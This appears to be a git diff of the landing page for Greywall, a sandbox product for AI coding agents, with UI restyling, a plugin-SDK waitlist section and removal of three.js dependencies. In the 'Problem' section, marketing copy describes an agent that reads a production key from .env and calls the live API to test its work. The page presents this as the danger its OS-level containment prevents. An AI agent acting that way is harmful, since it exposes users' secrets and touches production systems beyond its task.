className={`px-3.5 sm:px-4 py-1.5 rounded-md text-xs font-sans font-medium transition-all ${
|
||||
platform === 'linux'
|
||||
? 'bg-primary text-primary-foreground shadow-sm'
|
||||
? 'bg-primary text-primary-foreground'
|
||||
: 'text-muted-foreground hover:text-foreground'
|
||||
}`}
|
||||
>
|
||||
@@ -49,7 +49,7 @@ export function PlatformToggle() {
|
||||
onClick={() => setPlatform('macos')}
|
||||
className={`px-3.5 sm:px-4 py-1.5 rounded-md text-xs font-sans font-medium transition-all ${
|
||||
platform === 'macos'
|
||||
? 'bg-primary text-primary-foreground shadow-sm'
|
||||
? 'bg-primary text-primary-foreground'
|
||||
: 'text-muted-foreground hover:text-foreground'
|
||||
}`}
|
||||
>
|
||||
|
||||
@@ -1,4 +1,3 @@
|
||||
import { ShieldCheck, ShieldOff } from 'lucide-react'
|
||||
|
||||
export function Problem() {
|
||||
return (
|
||||
@@ -8,18 +7,12 @@ export function Problem() {
|
||||
<div className="grid grid-cols-1 lg:grid-cols-2 gap-5">
|
||||
{/* Without Greywall */}
|
||||
<div className="flex flex-col">
|
||||
<div className="flex items-center gap-2 mb-3">
|
||||
<ShieldOff className="h-4 w-4 text-red-400/70" />
|
||||
<span className="text-xs font-sans uppercase tracking-wider text-red-400/70 font-medium">
|
||||
Without Greywall
|
||||
</span>
|
||||
</div>
|
||||
<span className="text-sm font-sans uppercase tracking-[0.16em] text-red-500 font-semibold mb-3 block">
|
||||
Without Greywall
|
||||
</span>
|
||||
<div className="code-block p-5 sm:p-6 flex-1">
|
||||
<div className="flex items-center gap-2 mb-5">
|
||||
<div className="w-3 h-3 rounded-full bg-red-500/70" />
|
||||
<div className="w-3 h-3 rounded-full bg-yellow-500/70" />
|
||||
<div className="w-3 h-3 rounded-full bg-green-500/70" />
|
||||
<span className="ml-2 text-xs font-mono text-muted-foreground">~/project</span>
|
||||
<div className="mb-5">
|
||||
<span className="text-xs font-mono text-muted-foreground">~/project</span>
|
||||
</div>
|
||||
<div className="space-y-3 font-mono text-[11px] sm:text-xs">
|
||||
<div>
|
||||
@@ -55,24 +48,18 @@ export function Problem() {
|
||||
</div>
|
||||
</div>
|
||||
<p className="text-xs text-muted-foreground font-serif mt-3 leading-relaxed">
|
||||
The agent read your production Stripe key from .env and hit the live API to "test" its work. Helpful intent, real damage.
|
||||
The agent read a production key from <code className="font-mono text-[11px]">.env</code> and called the live API to test its changes. The action was plausible. The boundary was missing.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{/* With Greywall */}
|
||||
<div className="flex flex-col">
|
||||
<div className="flex items-center gap-2 mb-3">
|
||||
<ShieldCheck className="h-4 w-4 text-primary" />
|
||||
<span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
|
||||
With Greywall
|
||||
</span>
|
||||
</div>
|
||||
<span className="text-sm font-sans uppercase tracking-[0.16em] text-primary font-semibold mb-3 block">
|
||||
With Greywall
|
||||
</span>
|
||||
<div className="code-block p-5 sm:p-6 border-primary/20 flex-1">
|
||||
<div className="flex items-center gap-2 mb-5">
|
||||
<div className="w-3 h-3 rounded-full bg-red-500/70" />
|
||||
<div className="w-3 h-3 rounded-full bg-yellow-500/70" />
|
||||
<div className="w-3 h-3 rounded-full bg-green-500/70" />
|
||||
<span className="ml-2 text-xs font-mono text-muted-foreground">~/project</span>
|
||||
<div className="mb-5">
|
||||
<span className="text-xs font-mono text-muted-foreground">~/project</span>
|
||||
</div>
|
||||
<div className="space-y-3 font-mono text-[11px] sm:text-xs">
|
||||
<div>
|
||||
@@ -111,7 +98,7 @@ export function Problem() {
|
||||
</div>
|
||||
</div>
|
||||
<p className="text-xs text-muted-foreground font-serif mt-3 leading-relaxed">
|
||||
Kernel-enforced. The agent adapts and does the job without accessing secrets or production systems.
|
||||
The boundary holds at the OS layer, so the agent has to continue without secrets or production access.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
@@ -119,17 +106,12 @@ export function Problem() {
|
||||
|
||||
{/* Resolution: Verification creates trust */}
|
||||
<div className="text-center max-w-3xl mx-auto">
|
||||
<p className="font-serif text-xl sm:text-2xl md:text-3xl font-semibold tracking-tight leading-snug mb-6">
|
||||
Run in <span className="text-primary">YOLO mode</span> without risking anything outside your project.
|
||||
</p>
|
||||
<p className="text-muted-foreground font-serif text-base sm:text-lg leading-relaxed max-w-2xl mx-auto mb-4">
|
||||
The security layer around your tools should be independent of the company selling you the AI.
|
||||
Greywall gives you complete <span className="text-foreground font-medium">observability</span> into
|
||||
what your agent touches and full <span className="text-foreground font-medium">control</span> over what it can reach.
|
||||
</p>
|
||||
<blockquote className="font-serif text-lg sm:text-xl text-muted-foreground italic mb-10">
|
||||
<blockquote className="title-serif text-[22px] md:text-[28px] leading-[1.1] mb-6">
|
||||
<span className="text-primary">“</span>The act of verification creates trust.<span className="text-primary">”</span>
|
||||
</blockquote>
|
||||
<p className="text-serif font-normal text-[15px] md:text-[16px] leading-[1.55] text-muted-foreground max-w-2xl mx-auto mb-10">
|
||||
Greywall shows the attempted reads, writes, and connections as they happen, then lets you decide what stays allowed.
|
||||
</p>
|
||||
<div className="mx-auto max-w-3xl rounded-lg border border-border/40 overflow-hidden">
|
||||
<div className="relative w-full" style={{ paddingBottom: '56.25%' }}>
|
||||
<iframe
|
||||
|
||||
86
components/waitlist.tsx
Normal file
86
components/waitlist.tsx
Normal file
@@ -0,0 +1,86 @@
|
||||
'use client'
|
||||
|
||||
import { Gavel, Coins, Building2, Puzzle } from 'lucide-react'
|
||||
import { BetaSignup } from './beta-signup'
|
||||
|
||||
const plugins = [
|
||||
{
|
||||
icon: Puzzle,
|
||||
title: 'Custom policy plugins',
|
||||
desc: 'Heuristics as code. Allow or deny on whatever context you care about.',
|
||||
},
|
||||
{
|
||||
icon: Gavel,
|
||||
title: 'Model Council',
|
||||
desc: 'A panel of models votes on ambiguous requests. Guardrails without the friction.',
|
||||
},
|
||||
{
|
||||
icon: Coins,
|
||||
title: 'Token-saving MITM',
|
||||
desc: 'Cache, redact, and rewrite LLM traffic. Smaller bills.',
|
||||
},
|
||||
{
|
||||
icon: Building2,
|
||||
title: 'Enterprise controls',
|
||||
desc: 'SSO, audit trails, team rulesets, managed deployments.',
|
||||
},
|
||||
]
|
||||
|
||||
export function Waitlist() {
|
||||
return (
|
||||
<section id="waitlist" className="py-24 px-4 sm:px-6 border-t border-border/30">
|
||||
<div className="mx-auto max-w-5xl">
|
||||
<div className="max-w-2xl mb-10">
|
||||
<span className="text-serif text-[12px] font-bold uppercase tracking-[0.22em] text-primary mb-4 block">
|
||||
Plugin SDK · Beta
|
||||
</span>
|
||||
<h2 className="title-serif text-[36px] md:text-[48px] leading-none mb-4">
|
||||
Extend Greyproxy.
|
||||
</h2>
|
||||
<p className="text-serif font-normal text-[15px] md:text-[16px] leading-[1.55] text-muted-foreground">
|
||||
We're building a plugin layer on top of GreyProxy for teams that need custom policy logic and shared operational controls.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{/* Plugin cards */}
|
||||
<div className="grid grid-cols-1 md:grid-cols-2 gap-4 sm:gap-6 mb-6">
|
||||
{plugins.map((p) => (
|
||||
<div
|
||||
key={p.title}
|
||||
className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30"
|
||||
>
|
||||
<div className="flex items-center gap-3 mb-3">
|
||||
<p.icon className="h-5 w-5 text-foreground" />
|
||||
<h3 className="font-sans font-semibold text-sm">{p.title}</h3>
|
||||
</div>
|
||||
<p className="text-sm text-muted-foreground font-serif leading-relaxed">
|
||||
{p.desc}
|
||||
</p>
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
|
||||
{/* Freedom guarantee */}
|
||||
<div className="mb-12 p-5 rounded-lg border border-primary/15 bg-primary/[0.03]">
|
||||
<p className="text-sm text-muted-foreground font-serif leading-relaxed">
|
||||
<span className="text-primary font-medium">Core stays free and open source.</span>{' '}
|
||||
Sandbox, GreyProxy, and the dashboard stay Apache 2.0. Team controls and plugins sit on top of that base.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{/* Waitlist CTA */}
|
||||
<BetaSignup
|
||||
subject="Greywall enterprise / plugin SDK waitlist"
|
||||
message="(waitlist section signup)"
|
||||
buttonClassName="px-5 py-2.5 font-sans text-sm font-medium md:text-sm"
|
||||
inputClassName="w-56 rounded-md border border-border/40 bg-background/40 px-4 py-2.5 text-sm font-sans text-foreground placeholder:text-muted-foreground/60 transition-colors focus:border-primary/40 focus:outline-none sm:w-64"
|
||||
submitClassName="px-4 py-2.5 font-sans text-sm font-medium md:text-sm"
|
||||
helperTextClassName="text-xs text-muted-foreground/60 font-serif"
|
||||
successClassName="inline-flex items-center gap-2 px-5 py-2.5 rounded-md border border-primary/20 bg-primary/[0.05] font-sans text-sm text-primary font-medium"
|
||||
errorClassName="text-xs text-red-400/80 font-sans text-center"
|
||||
wrapperClassName="flex flex-col items-center gap-2"
|
||||
/>
|
||||
</div>
|
||||
</section>
|
||||
)
|
||||
}
|
||||
708
package-lock.json
generated
708
package-lock.json
generated
@@ -8,9 +8,6 @@
|
||||
"name": "greywall-landing-page",
|
||||
"version": "0.1.0",
|
||||
"dependencies": {
|
||||
"@react-three/drei": "^10.7.7",
|
||||
"@react-three/fiber": "^9.5.0",
|
||||
"@types/three": "^0.183.1",
|
||||
"class-variance-authority": "^0.7.1",
|
||||
"clsx": "^2.1.1",
|
||||
"lucide-react": "^0.454.0",
|
||||
@@ -18,8 +15,7 @@
|
||||
"next-themes": "^0.4.6",
|
||||
"react": "19.2.0",
|
||||
"react-dom": "19.2.0",
|
||||
"tailwind-merge": "^3.3.1",
|
||||
"three": "^0.183.2"
|
||||
"tailwind-merge": "^3.3.1"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@tailwindcss/postcss": "^4.1.9",
|
||||
@@ -45,21 +41,6 @@
|
||||
"url": "https://github.com/sponsors/sindresorhus"
|
||||
}
|
||||
},
|
||||
"node_modules/@babel/runtime": {
|
||||
"version": "7.29.2",
|
||||
"resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.29.2.tgz",
|
||||
"integrity": "sha512-JiDShH45zKHWyGe4ZNVRrCjBz8Nh9TMmZG1kh4QTK8hCBTWBi8Da+i7s1fJw7/lYpM4ccepSNfqzZ/QvABBi5g==",
|
||||
"license": "MIT",
|
||||
"engines": {
|
||||
"node": ">=6.9.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@dimforge/rapier3d-compat": {
|
||||
"version": "0.12.0",
|
||||
"resolved": "https://registry.npmjs.org/@dimforge/rapier3d-compat/-/rapier3d-compat-0.12.0.tgz",
|
||||
"integrity": "sha512-uekIGetywIgopfD97oDL5PfeezkFpNhwlzlaEYNOA0N6ghdsOvh/HYjSMek5Q2O1PYvRSDFcqFVJl4r4ZBwOow==",
|
||||
"license": "Apache-2.0"
|
||||
},
|
||||
"node_modules/@emnapi/runtime": {
|
||||
"version": "1.8.1",
|
||||
"resolved": "https://registry.npmjs.org/@emnapi/runtime/-/runtime-1.8.1.tgz",
|
||||
@@ -586,24 +567,6 @@
|
||||
"@jridgewell/sourcemap-codec": "^1.4.14"
|
||||
}
|
||||
},
|
||||
"node_modules/@mediapipe/tasks-vision": {
|
||||
"version": "0.10.17",
|
||||
"resolved": "https://registry.npmjs.org/@mediapipe/tasks-vision/-/tasks-vision-0.10.17.tgz",
|
||||
"integrity": "sha512-CZWV/q6TTe8ta61cZXjfnnHsfWIdFhms03M9T7Cnd5y2mdpylJM0rF1qRq+wsQVRMLz1OYPVEBU9ph2Bx8cxrg==",
|
||||
"license": "Apache-2.0"
|
||||
},
|
||||
"node_modules/@monogrid/gainmap-js": {
|
||||
"version": "3.4.0",
|
||||
"resolved": "https://registry.npmjs.org/@monogrid/gainmap-js/-/gainmap-js-3.4.0.tgz",
|
||||
"integrity": "sha512-2Z0FATFHaoYJ8b+Y4y4Hgfn3FRFwuU5zRrk+9dFWp4uGAdHGqVEdP7HP+gLA3X469KXHmfupJaUbKo1b/aDKIg==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"promise-worker-transferable": "^1.0.4"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"three": ">= 0.159.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@next/env": {
|
||||
"version": "16.0.10",
|
||||
"resolved": "https://registry.npmjs.org/@next/env/-/env-16.0.10.tgz",
|
||||
@@ -738,95 +701,6 @@
|
||||
"node": ">= 10"
|
||||
}
|
||||
},
|
||||
"node_modules/@react-three/drei": {
|
||||
"version": "10.7.7",
|
||||
"resolved": "https://registry.npmjs.org/@react-three/drei/-/drei-10.7.7.tgz",
|
||||
"integrity": "sha512-ff+J5iloR0k4tC++QtD/j9u3w5fzfgFAWDtAGQah9pF2B1YgOq/5JxqY0/aVoQG5r3xSZz0cv5tk2YuBob4xEQ==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@babel/runtime": "^7.26.0",
|
||||
"@mediapipe/tasks-vision": "0.10.17",
|
||||
"@monogrid/gainmap-js": "^3.0.6",
|
||||
"@use-gesture/react": "^10.3.1",
|
||||
"camera-controls": "^3.1.0",
|
||||
"cross-env": "^7.0.3",
|
||||
"detect-gpu": "^5.0.56",
|
||||
"glsl-noise": "^0.0.0",
|
||||
"hls.js": "^1.5.17",
|
||||
"maath": "^0.10.8",
|
||||
"meshline": "^3.3.1",
|
||||
"stats-gl": "^2.2.8",
|
||||
"stats.js": "^0.17.0",
|
||||
"suspend-react": "^0.1.3",
|
||||
"three-mesh-bvh": "^0.8.3",
|
||||
"three-stdlib": "^2.35.6",
|
||||
"troika-three-text": "^0.52.4",
|
||||
"tunnel-rat": "^0.1.2",
|
||||
"use-sync-external-store": "^1.4.0",
|
||||
"utility-types": "^3.11.0",
|
||||
"zustand": "^5.0.1"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"@react-three/fiber": "^9.0.0",
|
||||
"react": "^19",
|
||||
"react-dom": "^19",
|
||||
"three": ">=0.159"
|
||||
},
|
||||
"peerDependenciesMeta": {
|
||||
"react-dom": {
|
||||
"optional": true
|
||||
}
|
||||
}
|
||||
},
|
||||
"node_modules/@react-three/fiber": {
|
||||
"version": "9.5.0",
|
||||
"resolved": "https://registry.npmjs.org/@react-three/fiber/-/fiber-9.5.0.tgz",
|
||||
"integrity": "sha512-FiUzfYW4wB1+PpmsE47UM+mCads7j2+giRBltfwH7SNhah95rqJs3ltEs9V3pP8rYdS0QlNne+9Aj8dS/SiaIA==",
|
||||
"license": "MIT",
|
||||
"peer": true,
|
||||
"dependencies": {
|
||||
"@babel/runtime": "^7.17.8",
|
||||
"@types/webxr": "*",
|
||||
"base64-js": "^1.5.1",
|
||||
"buffer": "^6.0.3",
|
||||
"its-fine": "^2.0.0",
|
||||
"react-use-measure": "^2.1.7",
|
||||
"scheduler": "^0.27.0",
|
||||
"suspend-react": "^0.1.3",
|
||||
"use-sync-external-store": "^1.4.0",
|
||||
"zustand": "^5.0.3"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"expo": ">=43.0",
|
||||
"expo-asset": ">=8.4",
|
||||
"expo-file-system": ">=11.0",
|
||||
"expo-gl": ">=11.0",
|
||||
"react": ">=19 <19.3",
|
||||
"react-dom": ">=19 <19.3",
|
||||
"react-native": ">=0.78",
|
||||
"three": ">=0.156"
|
||||
},
|
||||
"peerDependenciesMeta": {
|
||||
"expo": {
|
||||
"optional": true
|
||||
},
|
||||
"expo-asset": {
|
||||
"optional": true
|
||||
},
|
||||
"expo-file-system": {
|
||||
"optional": true
|
||||
},
|
||||
"expo-gl": {
|
||||
"optional": true
|
||||
},
|
||||
"react-dom": {
|
||||
"optional": true
|
||||
},
|
||||
"react-native": {
|
||||
"optional": true
|
||||
}
|
||||
}
|
||||
},
|
||||
"node_modules/@swc/helpers": {
|
||||
"version": "0.5.15",
|
||||
"resolved": "https://registry.npmjs.org/@swc/helpers/-/helpers-0.5.15.tgz",
|
||||
@@ -1107,18 +981,6 @@
|
||||
"tailwindcss": "4.2.1"
|
||||
}
|
||||
},
|
||||
"node_modules/@tweenjs/tween.js": {
|
||||
"version": "23.1.3",
|
||||
"resolved": "https://registry.npmjs.org/@tweenjs/tween.js/-/tween.js-23.1.3.tgz",
|
||||
"integrity": "sha512-vJmvvwFxYuGnF2axRtPYocag6Clbb5YS7kLL+SO/TeVFzHqDIWrNKYtcsPMibjDx9O+bu+psAy9NKfWklassUA==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/@types/draco3d": {
|
||||
"version": "1.4.10",
|
||||
"resolved": "https://registry.npmjs.org/@types/draco3d/-/draco3d-1.4.10.tgz",
|
||||
"integrity": "sha512-AX22jp8Y7wwaBgAixaSvkoG4M/+PlAcm3Qs4OW8yT9DM4xUpWKeFhLueTAyZF39pviAdcDdeJoACapiAceqNcw==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/@types/node": {
|
||||
"version": "22.19.15",
|
||||
"resolved": "https://registry.npmjs.org/@types/node/-/node-22.19.15.tgz",
|
||||
@@ -1129,16 +991,11 @@
|
||||
"undici-types": "~6.21.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@types/offscreencanvas": {
|
||||
"version": "2019.7.3",
|
||||
"resolved": "https://registry.npmjs.org/@types/offscreencanvas/-/offscreencanvas-2019.7.3.tgz",
|
||||
"integrity": "sha512-ieXiYmgSRXUDeOntE1InxjWyvEelZGP63M+cGuquuRLuIKKT1osnkXjxev9B7d1nXSug5vpunx+gNlbVxMlC9A==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/@types/react": {
|
||||
"version": "19.2.14",
|
||||
"resolved": "https://registry.npmjs.org/@types/react/-/react-19.2.14.tgz",
|
||||
"integrity": "sha512-ilcTH/UniCkMdtexkoCN0bI7pMcJDvmQFPvuPvmEaYA/NSfFTAgdUSLAoVjaRJm7+6PvcM+q1zYOwS4wTYMF9w==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"peer": true,
|
||||
"dependencies": {
|
||||
@@ -1155,133 +1012,6 @@
|
||||
"@types/react": "^19.2.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@types/react-reconciler": {
|
||||
"version": "0.28.9",
|
||||
"resolved": "https://registry.npmjs.org/@types/react-reconciler/-/react-reconciler-0.28.9.tgz",
|
||||
"integrity": "sha512-HHM3nxyUZ3zAylX8ZEyrDNd2XZOnQ0D5XfunJF5FLQnZbHHYq4UWvW1QfelQNXv1ICNkwYhfxjwfnqivYB6bFg==",
|
||||
"license": "MIT",
|
||||
"peerDependencies": {
|
||||
"@types/react": "*"
|
||||
}
|
||||
},
|
||||
"node_modules/@types/stats.js": {
|
||||
"version": "0.17.4",
|
||||
"resolved": "https://registry.npmjs.org/@types/stats.js/-/stats.js-0.17.4.tgz",
|
||||
"integrity": "sha512-jIBvWWShCvlBqBNIZt0KAshWpvSjhkwkEu4ZUcASoAvhmrgAUI2t1dXrjSL4xXVLB4FznPrIsX3nKXFl/Dt4vA==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/@types/three": {
|
||||
"version": "0.183.1",
|
||||
"resolved": "https://registry.npmjs.org/@types/three/-/three-0.183.1.tgz",
|
||||
"integrity": "sha512-f2Pu5Hrepfgavttdye3PsH5RWyY/AvdZQwIVhrc4uNtvF7nOWJacQKcoVJn0S4f0yYbmAE6AR+ve7xDcuYtMGw==",
|
||||
"license": "MIT",
|
||||
"peer": true,
|
||||
"dependencies": {
|
||||
"@dimforge/rapier3d-compat": "~0.12.0",
|
||||
"@tweenjs/tween.js": "~23.1.3",
|
||||
"@types/stats.js": "*",
|
||||
"@types/webxr": ">=0.5.17",
|
||||
"@webgpu/types": "*",
|
||||
"fflate": "~0.8.2",
|
||||
"meshoptimizer": "~1.0.1"
|
||||
}
|
||||
},
|
||||
"node_modules/@types/webxr": {
|
||||
"version": "0.5.24",
|
||||
"resolved": "https://registry.npmjs.org/@types/webxr/-/webxr-0.5.24.tgz",
|
||||
"integrity": "sha512-h8fgEd/DpoS9CBrjEQXR+dIDraopAEfu4wYVNY2tEPwk60stPWhvZMf4Foo5FakuQ7HFZoa8WceaWFervK2Ovg==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/@use-gesture/core": {
|
||||
"version": "10.3.1",
|
||||
"resolved": "https://registry.npmjs.org/@use-gesture/core/-/core-10.3.1.tgz",
|
||||
"integrity": "sha512-WcINiDt8WjqBdUXye25anHiNxPc0VOrlT8F6LLkU6cycrOGUDyY/yyFmsg3k8i5OLvv25llc0QC45GhR/C8llw==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/@use-gesture/react": {
|
||||
"version": "10.3.1",
|
||||
"resolved": "https://registry.npmjs.org/@use-gesture/react/-/react-10.3.1.tgz",
|
||||
"integrity": "sha512-Yy19y6O2GJq8f7CHf7L0nxL8bf4PZCPaVOCgJrusOeFHY1LvHgYXnmnXg6N5iwAnbgbZCDjo60SiM6IPJi9C5g==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@use-gesture/core": "10.3.1"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"react": ">= 16.8.0"
|
||||
}
|
||||
},
|
||||
"node_modules/@webgpu/types": {
|
||||
"version": "0.1.69",
|
||||
"resolved": "https://registry.npmjs.org/@webgpu/types/-/types-0.1.69.tgz",
|
||||
"integrity": "sha512-RPmm6kgRbI8e98zSD3RVACvnuktIja5+yLgDAkTmxLr90BEwdTXRQWNLF3ETTTyH/8mKhznZuN5AveXYFEsMGQ==",
|
||||
"license": "BSD-3-Clause"
|
||||
},
|
||||
"node_modules/base64-js": {
|
||||
"version": "1.5.1",
|
||||
"resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz",
|
||||
"integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==",
|
||||
"funding": [
|
||||
{
|
||||
"type": "github",
|
||||
"url": "https://github.com/sponsors/feross"
|
||||
},
|
||||
{
|
||||
"type": "patreon",
|
||||
"url": "https://www.patreon.com/feross"
|
||||
},
|
||||
{
|
||||
"type": "consulting",
|
||||
"url": "https://feross.org/support"
|
||||
}
|
||||
],
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/bidi-js": {
|
||||
"version": "1.0.3",
|
||||
"resolved": "https://registry.npmjs.org/bidi-js/-/bidi-js-1.0.3.tgz",
|
||||
"integrity": "sha512-RKshQI1R3YQ+n9YJz2QQ147P66ELpa1FQEg20Dk8oW9t2KgLbpDLLp9aGZ7y8WHSshDknG0bknqGw5/tyCs5tw==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"require-from-string": "^2.0.2"
|
||||
}
|
||||
},
|
||||
"node_modules/buffer": {
|
||||
"version": "6.0.3",
|
||||
"resolved": "https://registry.npmjs.org/buffer/-/buffer-6.0.3.tgz",
|
||||
"integrity": "sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA==",
|
||||
"funding": [
|
||||
{
|
||||
"type": "github",
|
||||
"url": "https://github.com/sponsors/feross"
|
||||
},
|
||||
{
|
||||
"type": "patreon",
|
||||
"url": "https://www.patreon.com/feross"
|
||||
},
|
||||
{
|
||||
"type": "consulting",
|
||||
"url": "https://feross.org/support"
|
||||
}
|
||||
],
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"base64-js": "^1.3.1",
|
||||
"ieee754": "^1.2.1"
|
||||
}
|
||||
},
|
||||
"node_modules/camera-controls": {
|
||||
"version": "3.1.2",
|
||||
"resolved": "https://registry.npmjs.org/camera-controls/-/camera-controls-3.1.2.tgz",
|
||||
"integrity": "sha512-xkxfpG2ECZ6Ww5/9+kf4mfg1VEYAoe9aDSY+IwF0UEs7qEzwy0aVRfs2grImIECs/PoBtWFrh7RXsQkwG922JA==",
|
||||
"license": "MIT",
|
||||
"engines": {
|
||||
"node": ">=22.0.0",
|
||||
"npm": ">=10.5.1"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"three": ">=0.126.1"
|
||||
}
|
||||
},
|
||||
"node_modules/caniuse-lite": {
|
||||
"version": "1.0.30001777",
|
||||
"resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001777.tgz",
|
||||
@@ -1329,53 +1059,13 @@
|
||||
"node": ">=6"
|
||||
}
|
||||
},
|
||||
"node_modules/cross-env": {
|
||||
"version": "7.0.3",
|
||||
"resolved": "https://registry.npmjs.org/cross-env/-/cross-env-7.0.3.tgz",
|
||||
"integrity": "sha512-+/HKd6EgcQCJGh2PSjZuUitQBQynKor4wrFbRg4DtAgS1aWO+gU52xpH7M9ScGgXSYmAVS9bIJ8EzuaGw0oNAw==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"cross-spawn": "^7.0.1"
|
||||
},
|
||||
"bin": {
|
||||
"cross-env": "src/bin/cross-env.js",
|
||||
"cross-env-shell": "src/bin/cross-env-shell.js"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=10.14",
|
||||
"npm": ">=6",
|
||||
"yarn": ">=1"
|
||||
}
|
||||
},
|
||||
"node_modules/cross-spawn": {
|
||||
"version": "7.0.6",
|
||||
"resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz",
|
||||
"integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"path-key": "^3.1.0",
|
||||
"shebang-command": "^2.0.0",
|
||||
"which": "^2.0.1"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">= 8"
|
||||
}
|
||||
},
|
||||
"node_modules/csstype": {
|
||||
"version": "3.2.3",
|
||||
"resolved": "https://registry.npmjs.org/csstype/-/csstype-3.2.3.tgz",
|
||||
"integrity": "sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==",
|
||||
"dev": true,
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/detect-gpu": {
|
||||
"version": "5.0.70",
|
||||
"resolved": "https://registry.npmjs.org/detect-gpu/-/detect-gpu-5.0.70.tgz",
|
||||
"integrity": "sha512-bqerEP1Ese6nt3rFkwPnGbsUF9a4q+gMmpTVVOEzoCyeCc+y7/RvJnQZJx1JwhgQI5Ntg0Kgat8Uu7XpBqnz1w==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"webgl-constants": "^1.1.1"
|
||||
}
|
||||
},
|
||||
"node_modules/detect-libc": {
|
||||
"version": "2.1.2",
|
||||
"resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.1.2.tgz",
|
||||
@@ -1386,12 +1076,6 @@
|
||||
"node": ">=8"
|
||||
}
|
||||
},
|
||||
"node_modules/draco3d": {
|
||||
"version": "1.5.7",
|
||||
"resolved": "https://registry.npmjs.org/draco3d/-/draco3d-1.5.7.tgz",
|
||||
"integrity": "sha512-m6WCKt/erDXcw+70IJXnG7M3awwQPAsZvJGX5zY7beBqpELw6RDGkYVU0W43AFxye4pDZ5i2Lbyc/NNGqwjUVQ==",
|
||||
"license": "Apache-2.0"
|
||||
},
|
||||
"node_modules/enhanced-resolve": {
|
||||
"version": "5.20.0",
|
||||
"resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.20.0.tgz",
|
||||
@@ -1406,18 +1090,6 @@
|
||||
"node": ">=10.13.0"
|
||||
}
|
||||
},
|
||||
"node_modules/fflate": {
|
||||
"version": "0.8.2",
|
||||
"resolved": "https://registry.npmjs.org/fflate/-/fflate-0.8.2.tgz",
|
||||
"integrity": "sha512-cPJU47OaAoCbg0pBvzsgpTPhmhqI5eJjh/JIu8tPj5q+T7iLvW/JAYUqmE7KOB4R1ZyEhzBaIQpQpardBF5z8A==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/glsl-noise": {
|
||||
"version": "0.0.0",
|
||||
"resolved": "https://registry.npmjs.org/glsl-noise/-/glsl-noise-0.0.0.tgz",
|
||||
"integrity": "sha512-b/ZCF6amfAUb7dJM/MxRs7AetQEahYzJ8PtgfrmEdtw6uyGOr+ZSGtgjFm6mfsBkxJ4d2W7kg+Nlqzqvn3Bc0w==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/graceful-fs": {
|
||||
"version": "4.2.11",
|
||||
"resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz",
|
||||
@@ -1425,62 +1097,6 @@
|
||||
"dev": true,
|
||||
"license": "ISC"
|
||||
},
|
||||
"node_modules/hls.js": {
|
||||
"version": "1.6.15",
|
||||
"resolved": "https://registry.npmjs.org/hls.js/-/hls.js-1.6.15.tgz",
|
||||
"integrity": "sha512-E3a5VwgXimGHwpRGV+WxRTKeSp2DW5DI5MWv34ulL3t5UNmyJWCQ1KmLEHbYzcfThfXG8amBL+fCYPneGHC4VA==",
|
||||
"license": "Apache-2.0"
|
||||
},
|
||||
"node_modules/ieee754": {
|
||||
"version": "1.2.1",
|
||||
"resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz",
|
||||
"integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==",
|
||||
"funding": [
|
||||
{
|
||||
"type": "github",
|
